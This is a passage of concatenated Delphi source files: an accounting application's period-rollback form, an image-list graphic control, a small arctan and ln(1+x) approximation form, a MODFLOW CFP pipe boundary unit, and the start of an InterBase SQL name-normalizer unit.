неоткатившегося счёта dstBuffer.Insert; dstBuffer.FieldByName('SCH_NUMBER').Value := dstMain.FBN('OUT_SUB_SCH_NUMBER').AsString; dstBuffer.FieldByName('SCH_TITLE' ).Value := dstMain.FBN('OUT_SUB_SCH_TITLE' ).AsString; dstBuffer.FieldByName('SCH_ERROR' ).Value := ResultSchStr.RESULT_MESSAGE; dstBuffer.Post; IsOpen := False; end; finally //Освобождаем динамически выделенную память if PKernelSchStr <> nil then begin Dispose( PKernelSchStr ); PKernelSchStr := nil; end; end; dstMain.Next; end; //Оповещаем пользователя о результатах отката системы if IsOpen then begin //Выполняем откат системы в предыдущий период if n <> -1 then begin //Подготавливаем к выполнению процедуру для отката системы в предыдущий период spcMain.StoredProcName := 'JO5_INI_SETUP_UPDATE_KOD_PERIOD'; spcMain.ParamByName('IN_CLOSE_PERIOD_BOOL').AsInteger := Ord( smOpen ); //Откатываем систему в предыдущий период dmdDataModul.trWrite.StartTransaction; spcMain.Prepare; spcMain.ExecProc; dmdDataModul.trWrite.Commit; //Получаем данные для текущего периода системы with dmdDataModul.pSysOptions do begin KodCurrPeriod := spcMain.FN('OUT_KOD_CURR_PERIOD' ).AsInteger; DateCurrPeriod := spcMain.FN('OUT_DATE_CURR_PERIOD').AsDate; //Обновляем значение текущего периода MonthNum := IntToStr( MonthOf( DateCurrPeriod ) ); SetFirstZero( MonthNum ); mnuCurrPeriod.Caption := sMMenuCurrPeriodRUS + cBRAKET_OP + MonthNum + cBRAKET_CL + cSPACE + cMonthRUS[ StrToInt( MonthNum ) - 1 ] + cSPACE + IntToStr( YearOf( DateCurrPeriod ) ) + cYEAR_RUS_SHORT; end; MessageBox( Handle, PChar( sMsgOKOpenSystem ), PChar( sMsgCaptionInf ), MB_OK or MB_ICONINFORMATION ); end else begin MessageBox( Handle, PChar( sMsgNoneOpenSystem ), PChar( sMsgCaptionWrn ), MB_OK or MB_ICONWARNING ); end; end else begin ModRes := MessageBox( Handle, PChar( sMsgErrOpenSystem ), PChar( sMsgCaptionErr ), MB_YESNO or MB_ICONERROR ); //Показываем расшифровку ошибок по счетам if ModRes = ID_YES then begin try fmErrSch := TfmErrorSch.Create( Self, dstBuffer ); fmErrSch.ShowModal; finally FreeAndNil( fmErrSch ); end; end; end; dstBuffer.Close; except //Завершаем транзанкцию if dmdDataModul.trWrite.InTransaction then dmdDataModul.trWrite.Rollback; //Освобождаем память для НД if dstBuffer.Active then dstBuffer.Close; //Протоколируем ИС LogException( dmdDataModul.pSysOptions.LogFileName ); Raise; end; except on E: Exception do begin MessageBox( Handle, PChar( sErrorTextExt + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end; end; end; procedure TfmMain.frrMainManualBuild(Page: TfrxPage); begin // Page.Report. end; procedure TfmMain.smnWatchJO5Click(Sender: TObject); var vMTDParams : TPtr_MTDParams; vBPLParams : TPtr_BPLParams; begin try try brmMain.MainMenuBar.Control.Update; New( vBPLParams ); vBPLParams^.MethodName := sMN_GetFmRegSCH; vBPLParams^.PackageName := ExtractFilePath( Application.ExeName ) + 'JO5\JO5_RegSCH7.bpl'; New( vMTDParams ); with vMTDParams^ do begin SysOptions := dmdDataModul.pSysOptions; DBFMParams.Owner := Self; DBFMParams.Style := fsMDIChild; DBFMParams.DBHandle := dmdDataModul.dbJO5.Handle; end; FResultExpMethod := TneGetExpMethod.Create( Self, vBPLParams, vMTDParams ); finally if FResultExpMethod <> nil then FreeAndNil( FResultExpMethod ); FreeAndNilPTR( Pointer( vBPLParams ) ); FreeAndNilPTR( Pointer( vMTDParams ) ); end; except on E: Exception do begin MessageBox( Handle, PChar( sErrorTextExt + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end; end; end; end.
{================================================================================ Copyright (C) 1997-2002 Mills Enterprise Unit : rmImageListGraphic Purpose : This is a visual interface for a TimageList. Could be used for simple animation purposes or for displaying different images from an imagelist via an imageindex. Date : 05-03-2000 Author : Ryan J. Mills Version : 1.92 ================================================================================} unit rmImageListGraphic; interface {$I CompilerDefines.INC} uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, imglist, buttons, StdCtrls; type TrmCustomImageListGraphic = class(TGraphicControl) private { Private declarations } FImageChangeLink: TChangeLink; FImages: TCustomImageList; fImageIndex: integer; fAutosize: boolean; fCentered: boolean; procedure ImageListChange(Sender: TObject); procedure SetImages(Value: TCustomImageList); procedure SetImageIndex(const Value: integer); procedure SetCentered(const Value: boolean); protected { Protected declarations } procedure Notification(AComponent: TComponent; Operation: TOperation); override; property ImageIndex : integer read fImageIndex write SetImageIndex default -1; property Images: TCustomImageList read FImages write SetImages; property AutoSize : boolean read fAutosize write fautosize default true; property Centered : boolean read fCentered write SetCentered default false; public { Public declarations } constructor create(AOwner:TComponent); override; destructor destroy; override; published { Published declarations } end; TrmImageListGraphic = class(TrmCustomImageListGraphic) protected { Protected declarations } procedure Paint; override; published { Published declarations } property Align; property Anchors; property Autosize; property Centered; property Enabled; property ImageIndex; property Images; end; TGlyphLayout = (glGlyphLeft, glGlyphRight, glGlyphTop, glGlyphBottom); TrmCustomImageListGlyph = class(TrmCustomImageListGraphic) private fCaption: string; fGLayout: TGlyphLayout; procedure SetCaption(const Value: string); procedure SetGlyphLayout(const Value: TGlyphLayout); procedure CalcLayout( const Client: TRect; const Caption: string; Layout: TGlyphLayout; Margin, Spacing: Integer; var GlyphPos: TPoint; var TextBounds: TRect; BiDiFlags: LongInt ); function TextFlags : integer; protected { Protected declarations } procedure InternalDrawGlyph(const GlyphPos: TPoint); virtual; procedure InternalDrawText(const Caption: string; TextBounds: TRect; BiDiFlags: Integer); virtual; procedure Paint; override; property Caption : string read fCaption write SetCaption; property GlyphLayout : TGlyphLayout read fGLayout write SetGlyphLayout; public { Public declarations } constructor create(AOwner:TComponent); override; end; TrmImageListGlyph = class(TrmCustomImageListGlyph) published { Published declarations } property Caption; property GlyphLayout; property BiDiMode; property Enabled; property Font; property Align; property Anchors; property ImageIndex; property Images; end; implementation { TrmCustomImageListGraphic } procedure TrmCustomImageListGraphic.ImageListChange(Sender: TObject); begin Invalidate; end; procedure TrmCustomImageListGraphic.SetImages(Value: TCustomImageList); begin if Images <> nil then Images.UnRegisterChanges(FImageChangeLink); FImages := Value; if Images <> nil then begin if fAutosize then SetBounds(left, top, Images.Width, Images.Height); Images.RegisterChanges(FImageChangeLink); Images.FreeNotification(Self); end; invalidate; end; procedure TrmCustomImageListGraphic.Notification(AComponent: TComponent; Operation: TOperation); begin inherited Notification(AComponent, Operation); if (Operation = opRemove) and (AComponent = Images) then Images := nil; end; procedure TrmCustomImageListGraphic.SetImageIndex(const Value: integer); begin if (value < -1) then fImageIndex := -1 else fImageIndex := Value; RePaint; end; constructor TrmCustomImageListGraphic.create(AOwner: TComponent); begin inherited; height := 16; width := 16; fImageIndex := -1; fAutoSize := true; fCentered := false; FImageChangeLink := TChangeLink.Create; FImageChangeLink.OnChange := ImageListChange; end; procedure TrmCustomImageListGraphic.SetCentered(const Value: boolean); begin if fCentered <> Value then fCentered := Value; Invalidate; end; destructor TrmCustomImageListGraphic.destroy; begin FImageChangeLink.Free; inherited; end; { TrmImageListGraphic } procedure TrmImageListGraphic.Paint; var xPos, yPos : integer; begin inherited; if assigned(fimages) then begin if fCentered then begin xPos := (Width div 2) - (FImages.Width div 2); yPos := (Height div 2) - (fImages.Height div 2); end else begin xPos := 0; yPos := 0; end; if (fimageindex > -1) and (fImageIndex < FImages.Count) then fimages.Draw(canvas, xPos, yPos, fimageindex, enabled) else begin with canvas do begin brush.style := bsclear; fillrect(clientrect); end; end; end; if csdesigning in componentstate then begin with canvas do begin brush.Style := bsclear; pen.style := psDash; pen.color := clWindowtext; rectangle(clientrect); end; end; end; { TrmCustomImageListGlyph } procedure TrmCustomImageListGlyph.Paint; var wrect : TRect; GlyphPos: TPoint; begin inherited; CalcLayout(ClientRect, Caption, GlyphLayout, -1, 4, GlyphPos, wRect, DrawTextBiDiModeFlags(0)); InternalDrawGlyph(GlyphPos); InternalDrawText(Caption, wRect, DrawTextBiDiModeFlags(0)); if csdesigning in componentstate then begin with canvas do begin brush.Style := bsclear; pen.style := psDash; pen.color := clWindowtext; rectangle(clientrect); end; end; end; procedure TrmCustomImageListGlyph.SetCaption(const Value: string); begin fCaption := Value; repaint; end; procedure TrmCustomImageListGlyph.SetGlyphLayout(const Value: TGlyphLayout); begin fGLayout := Value; invalidate; end; procedure TrmCustomImageListGlyph.CalcLayout( const Client: TRect; const Caption: string; Layout: TGlyphLayout; Margin, Spacing: Integer; var GlyphPos: TPoint; var TextBounds: TRect; BiDiFlags: LongInt ); var TextPos: TPoint; ClientSize, GlyphSize, TextSize: TPoint; TotalSize: TPoint; begin if (BiDiFlags and DT_RIGHT) = DT_RIGHT then if Layout = glGlyphLeft then Layout := glGlyphRight else if Layout = glGlyphRight then Layout := glGlyphLeft; { calculate the item sizes } ClientSize := Point(Client.Right - Client.Left, Client.Bottom - Client.Top); if assigned(FImages) and (fimageindex > -1) and (fimageindex < fimages.count) then GlyphSize := Point(fimages.Width, fimages.Height) else GlyphSize := Point(0, 0); if Length(Caption) > 0 then begin TextBounds := Rect(0, 0, Client.Right - Client.Left, 0); DrawText(Canvas.Handle, PChar(Caption), Length(Caption), TextBounds, DT_CALCRECT or TextFlags or BiDiFlags); TextSize := Point(TextBounds.Right - TextBounds.Left, TextBounds.Bottom - TextBounds.Top); end else begin TextBounds := Rect(0, 0, 0, 0); TextSize := Point(0,0); end; { If the layout has the glyph on the right or the left, then both the text and the glyph are centered vertically. If the glyph is on the top or the bottom, then both the text and the glyph are centered horizontally.} if Layout in [glGlyphLeft, glGlyphRight] then begin GlyphPos.Y := (ClientSize.Y - GlyphSize.Y + 1) div 2; TextPos.Y := (ClientSize.Y - TextSize.Y + 1) div 2; end else begin GlyphPos.X := (ClientSize.X - GlyphSize.X + 1) div 2; TextPos.X := (ClientSize.X - TextSize.X + 1) div 2; end; { if there is no text or no bitmap, then Spacing is irrelevant } if (TextSize.X = 0) or (GlyphSize.X = 0) then Spacing := 0; { adjust Margin and Spacing } if Margin = -1 then begin if Spacing = -1 then begin TotalSize := Point(GlyphSize.X + TextSize.X, GlyphSize.Y + TextSize.Y); if Layout in [glGlyphLeft, glGlyphRight] then Margin := (ClientSize.X - TotalSize.X) div 3 else Margin := (ClientSize.Y - TotalSize.Y) div 3; Spacing := Margin; end else begin TotalSize := Point(GlyphSize.X + Spacing + TextSize.X, GlyphSize.Y + Spacing + TextSize.Y); if Layout in [glGlyphLeft, glGlyphRight] then Margin := (ClientSize.X - TotalSize.X + 1) div 2 else Margin := (ClientSize.Y - TotalSize.Y + 1) div 2; end; end else begin if Spacing = -1 then begin TotalSize := Point(ClientSize.X - (Margin + GlyphSize.X), ClientSize.Y - (Margin + GlyphSize.Y)); if Layout in [glGlyphLeft, glGlyphRight] then Spacing := (TotalSize.X - TextSize.X) div 2 else Spacing := (TotalSize.Y - TextSize.Y) div 2; end; end; case GlyphLayout of glGlyphLeft: begin GlyphPos.X := Margin; TextPos.X := GlyphPos.X + GlyphSize.X + Spacing; end; glGlyphRight: begin GlyphPos.X := ClientSize.X - Margin - GlyphSize.X; TextPos.X := GlyphPos.X - Spacing - TextSize.X; end; glGlyphTop: begin GlyphPos.Y := Margin; TextPos.Y := GlyphPos.Y + GlyphSize.Y + Spacing; end; glGlyphBottom: begin GlyphPos.Y := ClientSize.Y - Margin - GlyphSize.Y; TextPos.Y := GlyphPos.Y - Spacing - TextSize.Y; end; end; OffsetRect(TextBounds, TextPos.X + Client.Left, TextPos.Y + Client.Top); end; procedure TrmCustomImageListGlyph.InternalDrawGlyph(const GlyphPos: TPoint); begin if Not (assigned(fimages) and (fimageindex > -1) and (fimageindex < fimages.count)) then exit; FImages.draw(Canvas, GlyphPos.X, GlyphPos.Y, fimageindex, enabled); end; procedure TrmCustomImageListGlyph.InternalDrawText(const Caption: string; TextBounds: TRect; BiDiFlags: LongInt); begin with Canvas do begin Brush.Style := bsClear; if not enabled then begin OffsetRect(TextBounds, 1, 1); Font.Color := clBtnHighlight; DrawText(Handle, PChar(Caption), Length(Caption), TextBounds, TextFlags or BiDiFlags); OffsetRect(TextBounds, -1, -1); Font.Color := clBtnShadow; DrawText(Handle, PChar(Caption), Length(Caption), TextBounds, TextFlags or BiDiFlags); end else begin Font.Color := clBtnText; DrawText(Handle, PChar(Caption), Length(Caption), TextBounds, TextFlags or BiDiFlags); end; end; end; constructor TrmCustomImageListGlyph.create(AOwner: TComponent); begin inherited; AutoSize := false; Centered := false; end; function TrmCustomImageListGlyph.TextFlags: integer; begin Result := DT_CENTER or DT_SINGLELINE; end; end.
unit uMain; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, ES.RegexControls; type TForm1 = class(TForm) Edit: TEsRegexEdit; GridPanel1: TGridPanel; LabelFx1: TLabel; LabelFx2: TLabel; procedure EditChange(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } procedure calculate; public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} uses Math; function Fx1(x: Double): Double; const a: array [0..4] of Double = (0.9998660, -0.3302995, 0.1801410, -0.0851330, 0.0208351); var k: Integer; begin Result := 0; for k := 0 to 4 do Result := Result + a[k] * Power(x, 2 * k + 1); end; function Fx2(x: Double): Double; const a: array [0..3] of Double = (0.00049, 0.98248, -0.39728, 0.10784); var k: Integer; begin Result := 0; for k := 0 to 3 do Result := Result + a[k] * Power(x, k); end; procedure TForm1.calculate; const WrongNumber = 'Неверное число'; var x: Double; begin if not Edit.IsValid then begin LabelFx1.Caption := WrongNumber; LabelFx2.Caption := WrongNumber; Exit; end; x := StrToFloat(Edit.Text); LabelFx1.Caption := 'arctan(x) = ' + Fx1(x).ToString; LabelFx2.Caption := 'ln(1+x) = ' + Fx2(x).ToString; end; procedure TForm1.EditChange(Sender: TObject); begin calculate; end; procedure TForm1.FormCreate(Sender: TObject); begin FormatSettings.DecimalSeparator := '.'; calculate; end; end.
unit ModflowCfpPipeUnit; interface uses Classes, RbwParser, GoPhastTypes, ModflowBoundaryUnit, SubscriptionUnit, FormulaManagerUnit, Contnrs, SysUtils; type // @name controls data set 25 in CFP TCfpPipeBoundary = class(TModflowSteadyBoundary) private FDiameter: TFormulaObject; FTortuosity: TFormulaObject; FRoughnessHeight: TFormulaObject; FLowerCriticalR: TFormulaObject; FHigherCriticalR: TFormulaObject; FConductancePermeability: TFormulaObject; FElevation: TFormulaObject; FConductancePermeabilityObserver: TObserver; FDiameterObserver: TObserver; FHigherCriticalRObserver: TObserver; FLowerCriticalRObserver: TObserver; FRoughnessHeightObserver: TObserver; FTortuosityObserver: TObserver; FElevationObserver: TObserver; FRecordPipeValues: boolean; FRecordNodeValues: boolean; function GetConductancePermeability: string; function GetDiameter: string; function GetHigherCriticalR: string; function GetLowerCriticalR: string; function GetRoughnessHeight: string; function GetTortuosity: string; procedure SetConductancePermeability(const Value: string); procedure SetDiameter(const Value: string); procedure SetHigherCriticalR(const Value: string); procedure SetLowerCriticalR(const Value: string); procedure SetRoughnessHeight(const Value: string); procedure SetTortuosity(const Value: string); function GetConductancePermeabilityObserver: TObserver; function GetDiameterObserver: TObserver; function GetHigherCriticalRObserver: TObserver; function GetLowerCriticalRObserver: TObserver; function GetRoughnessHeightObserver: TObserver; function GetTortuosityObserver: TObserver; function GetElevation: string; procedure SetElevation(const Value: string); function GetElevationObserver: TObserver; procedure SetRecordNodeValues(const Value: boolean); procedure SetRecordPipeValues(const Value: boolean); function GetBoundaryFormula(Index: Integer): string; procedure SetBoundaryFormula(Index: Integer; const Value: string); protected procedure HandleChangedValue(Observer: TObserver); override; procedure GetPropertyObserver(Sender: TObject; List: TList); override; function GetUsedObserver: TObserver; override; procedure CreateFormulaObjects; override; function BoundaryObserverPrefix: string; override; procedure CreateObservers; override; property DiameterObserver: TObserver read GetDiameterObserver; property TortuosityObserver: TObserver read GetTortuosityObserver; property RoughnessHeightObserver: TObserver read GetRoughnessHeightObserver; property LowerCriticalRObserver: TObserver read GetLowerCriticalRObserver; property HigherCriticalRObserver: TObserver read GetHigherCriticalRObserver; property ConductancePermeabilityObserver: TObserver read GetConductancePermeabilityObserver; property ElevationObserver: TObserver read GetElevationObserver; public Procedure Assign(Source: TPersistent); override; Constructor Create(Model: TBaseModel; ScreenObject: TObject); destructor Destroy; override; property BoundaryFormula[Index: Integer]: string read GetBoundaryFormula write SetBoundaryFormula; published // data set 25 DIAMETER property Diameter: string read GetDiameter write SetDiameter; // data set 25 TORTUOSITY property Tortuosity: string read GetTortuosity write SetTortuosity; // data set 25 RHEIGHT property RoughnessHeight: string read GetRoughnessHeight write SetRoughnessHeight; // data set 25 LCRITREY_P property LowerCriticalR: string read GetLowerCriticalR write SetLowerCriticalR; // data set 25 TCRITREY_P property HigherCriticalR: string read GetHigherCriticalR write SetHigherCriticalR; // data set 29 K_EXCHANGE property ConductancePermeability: string read GetConductancePermeability write SetConductancePermeability; // data set 12 ELEVATION property Elevation: string read GetElevation write SetElevation; property RecordNodeValues: boolean read FRecordNodeValues write SetRecordNodeValues; property RecordPipeValues: boolean read FRecordPipeValues write SetRecordPipeValues; end; //procedure RemoveHfbModflowBoundarySubscription(Sender: TObject; Subject: TObject; // const AName: string); //procedure RestoreHfbModflowBoundarySubscription(Sender: TObject; Subject: TObject; // const AName: string); implementation uses PhastModelUnit, frmGoPhastUnit, ScreenObjectUnit, DataSetUnit; const DiameterPosition = 0; TortuosityPosition = 1; RoughnessHeightPosition = 2; LowerCriticalRPosition = 3; HigherCriticalRPosition = 4; ConductancePermeabilityPosition = 5; ElevationPosition = 6; //procedure RemoveHfbModflowBoundarySubscription(Sender: TObject; Subject: TObject; // const AName: string); //begin // (Subject as TCfpPipeBoundary).RemoveSubscription(Sender, AName); //end; // //procedure RestoreHfbModflowBoundarySubscription(Sender: TObject; Subject: TObject; // const AName: string); //begin // (Subject as TCfpPipeBoundary).RestoreSubscription(Sender, AName); //end; { TCfpPipeBoundary } procedure TCfpPipeBoundary.Assign(Source: TPersistent); var SourceCfp: TCfpPipeBoundary; begin if Source is TCfpPipeBoundary then begin SourceCfp := TCfpPipeBoundary(Source); Diameter := SourceCfp.Diameter; Tortuosity := SourceCfp.Tortuosity; RoughnessHeight := SourceCfp.RoughnessHeight; LowerCriticalR := SourceCfp.LowerCriticalR; HigherCriticalR := SourceCfp.HigherCriticalR; ConductancePermeability := SourceCfp.ConductancePermeability; Elevation := SourceCfp.Elevation; RecordNodeValues := SourceCfp.RecordNodeValues; RecordPipeValues := SourceCfp.RecordPipeValues; end; inherited; end; function TCfpPipeBoundary.BoundaryObserverPrefix: string; begin result := 'CfpPipeBoundary_'; end; constructor TCfpPipeBoundary.Create(Model: TBaseModel; ScreenObject: TObject); begin inherited; Diameter := '0.1'; Tortuosity := '1'; RoughnessHeight := '0.01'; LowerCriticalR := '10'; HigherCriticalR := '20'; ConductancePermeability := '5'; Elevation := '0'; end; procedure TCfpPipeBoundary.CreateFormulaObjects; begin FDiameter := CreateFormulaObject(dso3D); FTortuosity := CreateFormulaObject(dso3D); FRoughnessHeight := CreateFormulaObject(dso3D); FLowerCriticalR := CreateFormulaObject(dso3D); FHigherCriticalR := CreateFormulaObject(dso3D); FConductancePermeability := CreateFormulaObject(dso3D); FElevation := CreateFormulaObject(dso3D); end; procedure TCfpPipeBoundary.CreateObservers; begin if ScreenObject <> nil then begin FObserverList.Add(DiameterObserver); FObserverList.Add(TortuosityObserver); FObserverList.Add(RoughnessHeightObserver); FObserverList.Add(LowerCriticalRObserver); FObserverList.Add(HigherCriticalRObserver); FObserverList.Add(ConductancePermeabilityObserver); FObserverList.Add(ElevationObserver); end; end; destructor TCfpPipeBoundary.Destroy; begin Diameter := '0'; Tortuosity := '0'; RoughnessHeight := '0'; LowerCriticalR := '0'; HigherCriticalR := '0'; ConductancePermeability := '0'; Elevation := '0'; inherited; end; function TCfpPipeBoundary.GetBoundaryFormula(Index: Integer): string; begin case Index of DiameterPosition: result := Diameter; TortuosityPosition: result := Tortuosity; RoughnessHeightPosition: result := RoughnessHeight; LowerCriticalRPosition: result := LowerCriticalR; HigherCriticalRPosition: result := HigherCriticalR; ConductancePermeabilityPosition: result := ConductancePermeability; ElevationPosition: result := Elevation; else Assert(False); end; end; function TCfpPipeBoundary.GetConductancePermeability: string; begin Result := FConductancePermeability.Formula; if ScreenObject <> nil then begin ResetItemObserver(ConductancePermeabilityPosition); end; end; function TCfpPipeBoundary.GetConductancePermeabilityObserver: TObserver; var Model: TPhastModel; DataArray: TDataArray; begin if FConductancePermeabilityObserver = nil then begin if ParentModel <> nil then begin Model := ParentModel as TPhastModel; DataArray := Model.DataArrayManager.GetDataSetByName(KPipeConductanceOrPer); end else begin DataArray := nil; end; CreateObserver('Cfp_ConductancePerm_', FConductancePermeabilityObserver, DataArray); end; result := FConductancePermeabilityObserver; end; function TCfpPipeBoundary.GetDiameter: string; begin Result := FDiameter.Formula; if ScreenObject <> nil then begin ResetItemObserver(DiameterPosition); end; end; function TCfpPipeBoundary.GetDiameterObserver: TObserver; var Model: TPhastModel; DataArray: TDataArray; begin if FDiameterObserver = nil then begin if ParentModel <> nil then begin Model := ParentModel as TPhastModel; DataArray := Model.DataArrayManager.GetDataSetByName(KPipeDiameter); end else begin DataArray := nil; end; CreateObserver('Cfp_Diameter_', FDiameterObserver, DataArray); end; result := FDiameterObserver; end; function TCfpPipeBoundary.GetElevation: string; begin Result := FElevation.Formula; if ScreenObject <> nil then begin ResetItemObserver(ElevationPosition); end; end; function TCfpPipeBoundary.GetElevationObserver: TObserver; var Model: TPhastModel; DataArray: TDataArray; begin if FElevationObserver = nil then begin if ParentModel <> nil then begin Model := ParentModel as TPhastModel; DataArray := Model.DataArrayManager.GetDataSetByName(KCfpNodeElevation); end else begin DataArray := nil; end; CreateObserver('Cfp_Elevation_', FElevationObserver, DataArray); end; result := FElevationObserver; end; function TCfpPipeBoundary.GetHigherCriticalR: string; begin Result := FHigherCriticalR.Formula; if ScreenObject <> nil then begin ResetItemObserver(HigherCriticalRPosition); end; end; function TCfpPipeBoundary.GetHigherCriticalRObserver: TObserver; var Model: TPhastModel; DataArray: TDataArray; begin if FHigherCriticalRObserver = nil then begin if ParentModel <> nil then begin Model := ParentModel as TPhastModel; DataArray := Model.DataArrayManager.GetDataSetByName(KUpperCriticalR); end else begin DataArray := nil; end; CreateObserver('Cfp_HigherCriticalR_', FHigherCriticalRObserver, DataArray); end; result := FHigherCriticalRObserver; end; function TCfpPipeBoundary.GetLowerCriticalR: string; begin Result := FLowerCriticalR.Formula; if ScreenObject <> nil then begin ResetItemObserver(LowerCriticalRPosition); end; end; function TCfpPipeBoundary.GetLowerCriticalRObserver: TObserver; var Model: TPhastModel; DataArray: TDataArray; begin if FLowerCriticalRObserver = nil then begin if ParentModel <> nil then begin Model := ParentModel as TPhastModel; DataArray := Model.DataArrayManager.GetDataSetByName(KLowerCriticalR); end else begin DataArray := nil; end; CreateObserver('Cfp_LowerCriticalR_', FLowerCriticalRObserver, DataArray); end; result := FLowerCriticalRObserver; end; procedure TCfpPipeBoundary.GetPropertyObserver(Sender: TObject; List: TList); begin if Sender = FDiameter then begin List.Add(FObserverList[DiameterPosition]); end; if Sender = FTortuosity then begin List.Add(FObserverList[TortuosityPosition]); end; if Sender = FRoughnessHeight then begin List.Add(FObserverList[RoughnessHeightPosition]); end; if Sender = FLowerCriticalR then begin List.Add(FObserverList[LowerCriticalRPosition]); end; if Sender = FHigherCriticalR then begin List.Add(FObserverList[HigherCriticalRPosition]); end; if Sender = FConductancePermeability then begin List.Add(FObserverList[ConductancePermeabilityPosition]); end; if Sender = FElevation then begin List.Add(FObserverList[ElevationPosition]); end; end; function TCfpPipeBoundary.GetRoughnessHeight: string; begin Result := FRoughnessHeight.Formula; if ScreenObject <> nil then begin ResetItemObserver(RoughnessHeightPosition); end; end; function TCfpPipeBoundary.GetRoughnessHeightObserver: TObserver; var Model: TPhastModel; DataArray: TDataArray; begin if FRoughnessHeightObserver = nil then begin if ParentModel <> nil then begin Model := ParentModel as TPhastModel; DataArray := Model.DataArrayManager.GetDataSetByName(KRoughnessHeight); end else begin DataArray := nil; end; CreateObserver('Cfp_RoughnessHeight_', FRoughnessHeightObserver, DataArray); end; result := FRoughnessHeightObserver; end; function TCfpPipeBoundary.GetTortuosity: string; begin Result := FTortuosity.Formula; if ScreenObject <> nil then begin ResetItemObserver(TortuosityPosition); end; end; function TCfpPipeBoundary.GetTortuosityObserver: TObserver; var Model: TPhastModel; DataArray: TDataArray; begin if FTortuosityObserver = nil then begin if ParentModel <> nil then begin Model := ParentModel as TPhastModel; DataArray := Model.DataArrayManager.GetDataSetByName(KTortuosity); end else begin DataArray := nil; end; CreateObserver('Cfp_Tortuosity_', FTortuosityObserver, DataArray); end; result := FTortuosityObserver; end; function TCfpPipeBoundary.GetUsedObserver: TObserver; begin if FUsedObserver = nil then begin CreateObserver('CFP_Pipe_Used_', FUsedObserver, nil); end; result := FUsedObserver; end; procedure TCfpPipeBoundary.HandleChangedValue(Observer: TObserver); begin // invalidate display here. { TODO -cCFP : Does this need to be finished?} end; procedure TCfpPipeBoundary.SetBoundaryFormula(Index: Integer; const Value: string); begin case Index of DiameterPosition: Diameter := Value; TortuosityPosition: Tortuosity := Value; RoughnessHeightPosition: RoughnessHeight := Value; LowerCriticalRPosition: LowerCriticalR := Value; HigherCriticalRPosition: HigherCriticalR := Value; ConductancePermeabilityPosition: ConductancePermeability := Value; ElevationPosition: Elevation := Value; else Assert(False); end; end; procedure TCfpPipeBoundary.SetConductancePermeability(const Value: string); begin UpdateFormula(Value, ConductancePermeabilityPosition, FConductancePermeability); end; procedure TCfpPipeBoundary.SetDiameter(const Value: string); begin UpdateFormula(Value, DiameterPosition, FDiameter); end; procedure TCfpPipeBoundary.SetElevation(const Value: string); begin UpdateFormula(Value, ElevationPosition, FElevation); end; procedure TCfpPipeBoundary.SetHigherCriticalR(const Value: string); begin UpdateFormula(Value, HigherCriticalRPosition, FHigherCriticalR); end; procedure TCfpPipeBoundary.SetLowerCriticalR(const Value: string); begin UpdateFormula(Value, LowerCriticalRPosition, FLowerCriticalR); end; procedure TCfpPipeBoundary.SetRecordNodeValues(const Value: boolean); begin if FRecordNodeValues <> Value then begin FRecordNodeValues := Value; InvalidateModel; end; end; procedure TCfpPipeBoundary.SetRecordPipeValues(const Value: boolean); begin if FRecordPipeValues <> Value then begin FRecordPipeValues := Value; InvalidateModel; end; end; procedure TCfpPipeBoundary.SetRoughnessHeight(const Value: string); begin UpdateFormula(Value, RoughnessHeightPosition, FRoughnessHeight); end; procedure TCfpPipeBoundary.SetTortuosity(const Value: string); begin UpdateFormula(Value, TortuosityPosition, FTortuosity); end; //procedure TCfpPipeBoundary.ModelChanged(Sender: TObject); //begin // InvalidateModel; //end; end.
unit ibSHCodeNormalizer; interface uses SysUtils, SHDesignIntf, SHOptionsIntf, ibSHDesignIntf, ibSHConsts, pSHIntf, pSHCommon,Classes; type TibBTCodeNormalizer = class(TSHComponent, ISHDemon, IibSHCodeNormalizer) private FDatabase: IibSHDatabase; FKeywordsList: IibSHKeywordsList; function IsSQLDialect3Object(const AObjectName: string{; IsUserInput: Boolean}): Boolean; function IsSQLDialect1Compatible(const AObjectName: string): Boolean; function RetrieveKeywordsList: Boolean; protected {IibSHCodeNormalizer} function SourceDDLToMetadataName(const AObjectName: string): string; function MetadataNameToSourceDDL(const ADatabase: IibSHDatabase; const AObjectName: string): string; function MetadataNameToSourceDDLCase(const ADatabase: IibSHDatabase; const AObjectName: string): string; function InputValueToMetadata(const ADatabase: IibSHDatabase; const AObjectName: string): string; function InputValueToMetadataCheck(const ADatabase: IibSHDatabase; var AObjectName: string): Boolean; function CaseSQLKeyword(const AKeywordsString: string): string; function IsKeyword(const ADatabase: IibSHDatabase; const AKeyword: string): Boolean; public class function GetClassIIDClassFnc: TGUID; override; end; implementation procedure Register; begin SHRegisterComponents([TibBTCodeNormalizer]); end; function ContainsNonIBStandardChars(const Str:string):boolean; var i:integer; begin Result:=False; for i:=1 to Length(Str) do begin Result:= ((Str[i]<'A') or (Str[i]>'Z')) and ((Str[i]<'0') or (Str[i]>'9')) and not (Str[i] in ['_','$']); if Result then Break end; end; { TibBTObjectNameFormater } function TibBTCodeNormalizer.IsSQLDialect3Object( const AObjectName: string{; IsUserInput: Boolean}): Boolean; begin { if IsUserInput then Result := (FDatabase.SQLDialect > 2) and ((not IsSQLDialect1Compatible(AObjectName)) or ( (AObjectName <> AnsiUpperCase(AObjectName)) and (not FDatabase.CapitalizeNames) ) ) else} Result := (Length(AObjectName)=0) or (FDatabase.SQLDialect > 2) and (((AObjectName[1]>='0') and (AObjectName[1]<='9')) or ContainsNonIBStandardChars(AObjectName) or IsKeyword(FDatabase,AObjectName) ) ; end; function TibBTCodeNormalizer.IsSQLDialect1Compatible( const AObjectName: string): Boolean; var I: Integer; begin Result := True; if Length(AObjectName) > 0 then begin if (AObjectName[1]>='0') and (AObjectName[1]<='9')then Result := False else begin for I := 1 to Length(AObjectName) do // if not (AObjectName[I] in AvalibleChars) then if ((AObjectName[I]<'A') or (AObjectName[I]>'Z')) and // Несколько лучше оптимизируется ((AObjectName[I]<'a') or (AObjectName[I]>'z')) and ((AObjectName[I]<'0') or (AObjectName[I]>'9')) and not (AObjectName[I] in ['_','$']) then begin Result := False; Break; end; if Result then Result:= not IsKeyword(FDatabase,AObjectName) end; end; end; function 